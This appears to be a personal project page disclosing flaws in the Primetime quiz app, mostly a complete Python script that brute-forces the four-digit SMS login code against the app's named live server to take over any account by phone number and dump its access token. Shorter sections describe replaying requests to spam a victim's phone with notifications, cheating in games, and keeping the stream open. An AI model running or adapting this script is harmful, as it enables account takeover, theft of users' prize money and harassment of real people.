Hello
World/Projects/
Views: -
Prime prize
Summary
Tools used
Fiddler for intercepting network requests
Android studio for emulating android
Exploits
Login bypass
The problem is that this 4 digit OTP only has 10,000 possible combinations and that the server never sets a cooldown for entering the password. By iterating through all possible values, one can login to any account within 2 minutes. This gets even worse considering an attacker could take out all prizemoney from the account, with virtually zero effort.
The python script below preforms the attack automatically:
Python
Copy all
Select all
import requests
import hashlib
import _thread
import json
from time import sleep
# Enter number here
NUMBER = input('Enter phone number: ')
REFFERAL = 123456
DONE = False
PAUSE = False
# Fix
true = True
false = False
# Dicts from source APK
AuthenticationStatus = {0: "NOT_SET", 100: "FAILED_TO_SEND_SMS", 110: "FAILED_TO_VERIFY_CODE",
115: "USERNAME_REQUIRED", 120: "USERNAME_TAKEN", 130: "USERNAME_NOT_VALID", 200: 'OK', 300: "BLOCKED"}
def byte_len(string):
return len(string.encode('utf-8'))
def create_named_account(deviceId, code, name):
data = name
content_length = str(byte_len(data))
r = requests.post('http://sv-services.sventertainment.se/api/services/signIn',
params={'id': deviceId, 'code': code,
'referral': REFFERAL},
headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': content_length, 'Host': 'sv-services.sventertainment.se',
'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0', 'Connection': 'Keep-Alive'},
data=data.encode('utf-8'))
status = r.status_code
if status == 200:
request_json = r.json()
else:
print("Unexpected server status:", status)
print('Response:', AuthenticationStatus[request_json['status']])
if request_json['status'] == 200:
return r.text
else:
return False
def validate_request(i):
global DONE, PAUSE
r = requests.post('http://sv-services.sventertainment.se/api/services/signIn',
params={'id': deviceId, 'code': '%04d' % i},
headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': '2',
'Host': 'sv-services.sventertainment.se',
'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0',
'Connection': 'Keep-Alive'},
data='{}')
status = r.status_code
if status == 200:
request_json = r.json()
else:
print("Unexpected server status:", status)
if request_json['status'] == 200:
DONE = True
sleep(3)
headers = r.headers
file = open(
r'C:\Users\{USER_ACCOUNT}\AppData\Local\Programs\Fiddler\MyCool\correct_login', 'w+', encoding='utf-8')
file.write(r.text)
file.close()
print(
f'Key found: {i}\nNew login written to file,\nOpen Primetime and enable AutoResponder in fiddler to login from bluestacks\n')
print('Name:', request_json['device']['user']['username'])
print('Nr:', request_json['device']['phone'])
print('Token:', request_json['device']['accessToken'])
print('ID:', request_json['device']['id'])
quit()
elif request_json['status'] == 115:
PAUSE = True
print(
f'Key found: {i}\nNumber does not have an account yet\n')
name = input("Please enter the new account name here: ")
account_creation = create_named_account(deviceId, '%04d' % i, name)
while account_creation is False:
name = input("Name has already been used, enter another one: ")
account_creation = create_named_account(deviceId, '%04d' % i, name)
file = open(
r'C:\Users\{USER_ACCOUNT}\AppData\Local\Programs\Fiddler\MyCool\correct_login', 'w+', encoding='utf-8')
file.write(account_creation)
file.close()
print('New login written to file\nOpen Primetime and enable AutoResponder in fiddler to login from bluestacks\n')
request_json = json.loads(account_creation)
print('Name:', request_json['device']['user']['username'])
print('Nr:', request_json['device']['phone'])
print('Token:', request_json['device']['accessToken'])
print('ID:', request_json['device']['id'])
PAUSE = False
DONE = True
quit()
quit()
hash_object = hashlib.md5(NUMBER.encode())
hash = hash_object.hexdigest()
while 1:
r = requests.post('http://sv-services.sventertainment.se/api/services/register',
params={'token': hash},
headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': str(byte_len(NUMBER)), 'Host': 'sv-services.sventertainment.se',
'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0', 'Connection': 'Keep-Alive'},
data=NUMBER.encode('utf-8'))
status = r.status_code
if status == 200:
request_json = r.json()
else:
print("Unexpected server status:", status)
print('Quitting...')
quit()
if request_json['status'] == 200:
deviceId = request_json['deviceId']
if deviceId == 2887:
answer = input('Device ID is 2887, continue? [y/n]: ')
if answer.lower() != 'y':
quit()
else:
print('Device ID:', deviceId)
break
else:
print('Response:', AuthenticationStatus[request_json['status']])
answer = input('Try again? [y/n]: ')
if answer.lower() != "y":
print('Quitting...')
quit()
for i in range(10000):
_thread.start_new_thread(validate_request, (i,))
sleep(0.015)
if DONE:
sleep(5)
quit()
elif PAUSE:
while PAUSE:
sleep(1)
elif i % 100 == 0:
print(i)
Notification spam
However, this limitation is only client side, meaning one could replay the request more times than the server would expect. The request can be captured with a proxy like Fiddler, something that is possible because primetime communicates to its servers over plain-text HTTP. After capturing the request an attacker could replay it thousands of times, until the user would be forced to delete the app because of the inconvenience of having the phone ringing all the time.
Free lifelines
Although lifelines are not very useful to have in large quantities in of themselves (as you can only use one per game), they are able of putting you on the global top list for having the most lifelines. This can be exploited by advertisers to spread light on their products, although that is admittedly a bit far fetched.
Primeprize GUI
It achieves this in several ways:
- The user can answer after time has run out
- The user can read the question and alternatives before it's displayed in the app
- The user gets a computer generated guess of what the right answer is
- The user can answer with an unlimited amount of accounts at once
- Android studio
- Wireshark
Access stream 24/7
A simpler way to connect to the stream is simply to block all the packets that tell the client to close the stream, and the client will continue to display the stream. This can be done through Fiddler.